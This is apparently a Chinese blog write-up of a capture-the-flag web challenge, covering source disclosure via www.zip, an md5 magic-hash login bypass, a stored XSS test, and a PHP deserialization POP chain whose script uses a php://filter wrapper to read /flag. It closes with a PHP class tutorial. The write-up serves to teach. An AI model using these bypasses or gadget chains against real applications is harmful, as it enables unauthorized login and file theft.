My NoteBook

122次阅读
没有评论

My NoteBook

My Notebookhash碰撞+反序列化+pop链结合解题思路

STEP 1: 分析网站目录与源码

我有一个习惯,拿到web题目第一时间先去扫描目录,看看目录下有没有什么能用的东西或者提示,这边使用dirsearch对目录进行一个扫描分析,得到如图结果:

My NoteBook

那么我们可以知道,有一个[www.zip](http://www.zip)可以下载,先去下载看看  

My NoteBook

解压之后,发现是网站源码。我们访问网站与源码对应:  

My NoteBook

这是login.php,我们可以打开分析一下:
My NoteBook

找到如上关键代码。得知,这里使用post传参方式(就是登录框),需要满足,两个输入框中传入的内容不一样,但是md5值相同。

这里有一个知识点,叫做​**哈希碰撞**​。由于md5 易受碰撞攻击,可以找到两个不同的字符串具有相同的 MD5。例如,字符串 240610708 和 QNKCDZO 的 MD5 都是0e462097431906509019562988736854(以 "0e" 开头,PHP 弱类型比较时视为科学计数法,会认为其值为0)。因此,输入 check-code-1\=240610708 和 check-code-2\=QNKCDZO 即可满足条件,登录为 admin。  
(这里附上一组万能的值 s155964671a s878926199a)

关于哈希碰撞,更多内容:[PHP md5 相等绕过 - Ainsliaea - 博客园](https://www.cnblogs.com/ainsliaea/p/15126218.html)

继续分析,当结束哈希碰撞判断之后,由语句header("Location:index.php")得知login.php会把我们重新定向去index.php,我们继续分析。

My NoteBook

最前面有一个login_check.php的引入,这个只是用来判断登陆状态的,检查login_check.php之后并没有发现什么有价值的内容。

My NoteBook

随便输入一些内容,点击旁边的按钮,可以发现,刚才输入的内容刚进入了一个列表。分析源码:My NoteBook

得知,当我们点击按钮的时候,会启用一个异步上传函数,将我们刚才输入的值传递到/save.php ,我们继续分析save.php,关键代码如下:

My NoteBook

$filename指定了文件输出位置 , file_get_contents("php://input")获取用户输入的原始内容,并且没有观察到任何过滤,最后一行则是以追加而不覆盖的形式写入新的数据,并且数据与数据之间用|分割。

回到index.php,继续分析下方的代码:
My NoteBook

这里创建了一个AJAX请求,用于发送HTTP请求,并且在下方调用了xhr.open(…),这是在请求数据,随后在确定响应状态之后进行遍历,用于生成notelist,最后再进行显示。

这里存在一个问题,在res += "<li><span>"+info[i]+"</span></li>";

Info[i]获取到的是笔记内容,并且在没有任何改写的情况下就直接引进了HTML里面,如果我的笔记内容里面包含了HTML代码,就有可能会在这里被执行(XSS注入攻击的一种?留意一下这一点),比如我输入 <script>alert(‘XSS’)</script>

那么得到的结果如图:

My NoteBook

可以作为后续的一种思路,不过不着急。我们在这里继续分析其他代码。

进入get.php继续分析。可以发现,在开头的地方引入了mainclass.php这个文件,看标题猜测可能是某种类的定义,

My NoteBook

整理一下逻辑:(关于类,对象,文末有单独补充)

类HereWeGo中,首先定义了一个叫$try 的公共属性,之后又定义了一个析构函数 __destruct() ,它将会在对象被销毁时自动调用(在这里需要补充,析构函数的作用。往下翻的补充部分里面有)。$this->try->gogogo(),在获取对象自身的try属性数值,如果这个数值也是个对象,那么调用gogogo()方法,但是显然,方法gogogo()并不存在

类GoGoGo中,首先定义了一个名为$go的公共属性,之后用了一个魔法方法,在对象生成的时候就给他的go属性附上初值$go。同时,如果对象使用了一个不存在的方法,那么则使用__call(),返回的值是对象自生的go属性,之后再用这个“新对象”获取web属性。但是,属性web似乎没有被定义过

类Evil中,定义了$file $final两个公共属性,随后定义魔法方法,再对象创建的时候给file属性赋初值$file。魔法方法,当属性不存在时,定义$result属性,赋初值为对象的file属性。随后的判断,看起来是针对flag的隐藏处理,先把对象的flag属性变成了“HACKER!!!”随后将其写入flag.txt。

好了,接下来回到get.php,分析下面的代码,首先看主程序:  

My NoteBook

定义对象\$context的内容为空数组(array()),是大概率是字符串形式

对象\$res的值为对象\$context的值传入loadSessionDatas的结果,下面对loadSessionDatas()函数进行分析:

My NoteBook

    首先定义对象\$filename 赋值为一个路径地址字符串。随后进行了一个 文件是否存在的判断,如果这个写入文件已经存在,会先把局部对象\$res的值赋成/tmp/My-NoteBook.txt的内容,随后定义\$count对象(根据命名规则猜测可能是个计数器)[关于PHP中的count()](https://www.bing.com/search?q=php+count&cvid=0381ec0dc51b4ec08f01d5d867287e25&gs_lcrp=EgRlZGdlKgYIABBFGDkyBggAEEUYOTIGCAEQABhAMgYIAhAAGEAyBggDEAAYQDIGCAQQABhAMgYIBRAAGEAyBggGEAAYQDIGCAcQRRg8MgYICBBFGDzSAQgyNDE5ajBqOagCCLACAQ&FORM=ANAB01&PC=NMTS&mkt=zh-CN)。其内层是explode("|", \$res),这是个php的炸裂函数,作用是将\$res中的所有元素以|作为分割标记,然后输出形式为数组,例如:

My NoteBook

那么$count在这里记录的就是文件当中“笔记条目”的个数。但是后面有“-1”,结合后续的遍历代码可得知这是因为对象$i从0开始,而不是1。

在后续遍历中,数组\$total中的每个下标都对应存入了explode函数的切片,可以理解为这一步在存入内容。之后进行了一次是否为序列化的判断​ ~~(判断这个的函数在后面,但是我们可以先根据函数名称来猜测一下功能)~~ ​。如果刚才存入的内容是序列化的,那么就把刚才存入的内容反序列化(文末会补充,序列化与反序列化)。这就方便我们之后通过构造恶意的序列化文本,来实现攻击。所有的遍历流程结束之后,函数会自动retrun数组\$total的值。~~但如果这个文件一开始不存在,那么会先执行创建文件的操作,并传入空值(这个其实不太重要)~~  。综上,整个loadSessionData的功能可以简单理解为,将序列化内容存入/tmp/My-NoteBook.txt当中,并在存储时将其反序列化。

 ~~(~~~~下面关于序列化判断的函数分析我真的不会写,于是我问了问万能的deepseek,勉强看看吧)~~

好的,我来详细分析这个is_serialized() 函数,它用于检测一个字符串是否是PHP序列化格式。

函数功能概述

这个函数检查给定的字符串是否是有效的PHP序列化格式。如果是,返回​true​;否则返回​false

逐行分析

1. 清理输入

php

$data = trim($data);

  • 去除字符串两端的空白字符

2. 检查null值

php

if(‘N;’ == $data)

return true;
  • N; 是PHP中null值的序列化格式
  • 如果字符串正好是​N; ,返回true

3. 检查序列化类型标识

php

if(!preg_match(‘/^([adObis]):/’,$data,$options))

return false;
  • 正则表达式匹配序列化格式的开头:

    • a: – array(数组)
    • d: – double(浮点数)
    • O: – object(对象)
    • b: – boolean(布尔值)
    • i: – integer(整数)
    • s: – string(字符串)
  • 如果开头没有这些标识,返回false

4. 根据类型进行详细验证

对于数组、对象、字符串(a, O, s):

php

case ‘a’:

case ‘O’:

case ‘s’:

if(preg\_match( "/\^\$options[1]:[0-9]+:.\*[;}]\\\$/s", \$data))

    return true;

break;
  • 格式要求:类型:长度:内容}类型:长度:内容;
  • 例如:s:5:"hello";a:2:{i:0;s:3:"red";i:1;s:4:"blue";}

对于布尔值、整数、浮点数(b, i, d):

php

case ‘b’:

case ‘i’:

case ‘d’:

if(preg_match("/^$options[1]:[0-9.E-]+;\$/",$data))

    return true;

break;
  • 格式要求:类型:值;
  • 例如:​b:1; ​、​i:123; ​、d:3.14;

序列化格式示例

类型 PHP值 序列化格式
null null N;
boolean true b:1;
integer 123 i:123;
double 3.14 d:3.14;
string "hello" s:5:"hello";
array ["red","blue"] a:2:{i:0;s:3:"red";i:1;s:4:"blue";}
object new Example() O:7:"Example":0:{}
程序分析差不多就到这里了

STEP 2: 理清攻击思路+pop链条分析+payload生成

刚才我们已经分析过,作者在mainclass.php中定义了三个类(就像三块特殊的多米诺骨牌):

HereWeGo:析构时(对象被销毁时)会调用$this->try->gogogo()

GoGoGo:当调用不存在的方法(如gogogo)时,会返回$this->go->web

Evil:当访问不存在的属性(如web)时,会读取$this->file的内容并写入flag.txt

因此,要触发写入flag这个攻击的根源,就是要让HereWeGo类下面的对象先销毁。由于当get.php结束运行的时候,对象会自己销毁,所以我们不需要在上面考虑太多。我们只需要在上述三个类之间构建一种特殊的连接关系。

首先第一步,要要定义类Evil下的$step1,让他的file属性指向“/flag”,要触发flag的写入,需要让对象$step1去访问他不存在的属性,观察下图:

My NoteBook

可以得知,在这里 GoGoGo的类下面的,在对象调用不存在的方法的时候会去访问web属性,但是web属性并不存在,顺着这个思考,我们不妨把GoGoGo类的对象的go属性赋值为$step1

My NoteBook

同样的,当HereWeGo的类被销毁的时候,会尝试去调用一个叫做gogogo的方法,但是这个gogogo()经过观察并不存在。结合我们刚才对$step2的思考,那我们可以在构建$step3的时候,把它的try属性定义成名为$step2的对象。

那么payload大致如下:

$step1 = new Evil();

$step1->file = “/flag”;

$step2 = new GoGoGo();

$step2->go = $step1;

$step3 = new HereWeGo();

$step3->try = $step2;

执行过程如下:

$step3 (HereWeGo) //被销毁的时候执行了析构函数

└── try → \$step2 (GoGoGo)   //因为调用了不存在的方法

        └── go → \$step1 (Evil)  //试图访问不存在的属性

                └── file →"/flag" //攻击完成。

现在我们需要构建完整的payload脚本,帮助我们生成序列化字符串,并且绕过之前在分析代码时发现的flag输出过滤,因此我们需要让输出内容变成base64,最后再到本地解密。

<?php

class HereWeGo{

public \$try; //定义try属性

}

class GoGoGo{

public \$go; //定于go属性

public function \_\_construct(\$go){    //这里用了构造方法

    \$this-\>go \= \$go;

}

}

class Evil{

public \$file;

public function \_\_construct(\$file){   //这里用了构造方法

    \$this-\>file \= \$file;

}

}

// 构造POP链

$step1 = new Evil("php://filter/convert.base64-encode/resource=/flag"); // 构建一个新的对象 step1 并且把他的file属性更改为 flag(这是构造方法)

$step2 = new GoGoGo($step1); // 新建对象 step2 让他的go属性指向对象step1 (php中对象的属性可以是任何东西)

$step3 = new HereWeGo(); // 新建对象 step3

$step3->try = $step2; // 让step的try属性指向类GoGoGo的对象step2

//对象 here: try属性:

// 对象 gogogo: go属性:

// 对象evil: file属性:

// /flag

// 序列化(生成“组装说明书”)

$payload = serialize($step3);

echo $payload;

?>

我们将此生成的序列化字符串输入到文本框中,就得到了base64编码的flag

My NoteBook

只需要解码即可。

自此,本体到此结束

帮你理解PHP中的 类 对象 属性 构造方法 魔法方法

简单的理解,类可以被看作是一种模具,这里用现实世界里面生产汽车来解释:  

<?php

class car{

public \$color;  //设置car这个类的属性 颜色

public \$brand;  //设置car这个类的属性 品牌

public function run(){  //设置 car的 方法(也就是功能)

   echo”这辆车在行驶“;

}

}

$mycar = new car();//这里我生成了一个叫做mycar的对象,对象前一律加$作为表示

$mycar->color = ‘red’; //给对象 $mycar 设置属性 颜色

$mycar->brand = ‘benz’;//给对象 $mycar 设置属性 品牌

$mycar->run(); //运行功能

上述的例子中,涉及到了类的两个关键要素,分别是属性 对象

class Person {

// 构造方法:出生时自动调用

public function \_\_construct(\$name) {

    \$this-\>name \= \$name;

    echo "{\$name}诞生了!";

}

// 析构方法:死亡时自动调用

public function \_\_destruct() {

    echo "{\$this-\>name}消失了!";

}

}

上面这个例子,则体现了:魔法方法(Magic Methods)可以视作为对象的"自动反应"。构造方法在对象创建时被调用,而析构方法在对象被删除的时候被调用。

这里整理了一些常见的魔法方法的使用:

魔法方法 什么时候调用 例子
__construct() new创建对象时 对象出生
__destruct() 对象销毁时 对象死亡
__call() 调用不存在的方法时 方法找不到
__get() 访问不存在的属性时 属性找不到
__set() 设置不存在的属性时 设置新属性

class Magic {

public function \_\_call(\$method, \$args) {

    echo "方法{\$method}不存在!";

}

public function \_\_get(\$property) {

    echo "属性{\$property}不存在!";

}

}

$obj = new Magic();

$obj->run(); //输出:方法run不存在!(触发__call)

echo $obj->test; //输出:属性test不存在!(触发__get)

比如上面这个例子,我们来分析一下,类Magic下面没有定义任何一个属性。所以当我们在尝试给对象$obj设置属性的时候,会找不到属性,类中定义了__get()方法,所以这时候触发了魔法方法__get()。那么同理,当我们在尝试运行$obj->run();的时候,由于我们在类里面没有定义过run()这个方法,所以会触发__call。

顺便补充,如果你看到$this,这是在方法内部调用对象自己的手段,比如:
class Person {

public \$age;

public function sayAge() {

    echo "我的年龄是:" . \$this-\>age;

}

}

$xiaoming = new Person();

$xiaoming->age= 19;

$xiaoming->sayAge();

这里我偷个懒,引用一下deepseek(但是个人感觉概括的确实准确):
总结:用一句话理解类

类就像是一个"工厂模具":

  • 🏭 = 设计图、模具
  • 🚗 对象 = 生产出来的具体产品
  • 🔧 属性 = 产品的特征(颜色、型号)
  • ⚙️ 方法 = 产品的功能(行驶、刹车)
  • 魔法方法 = 产品的自动反应(报废处理)

记住这个流程:

  1. 先设计​(制作模具)
  2. 再用new创建​对象(生产产品)
  3. 通过 -> 使用​属性和方法(使用产品)
正文完
 0
评论(没有评论)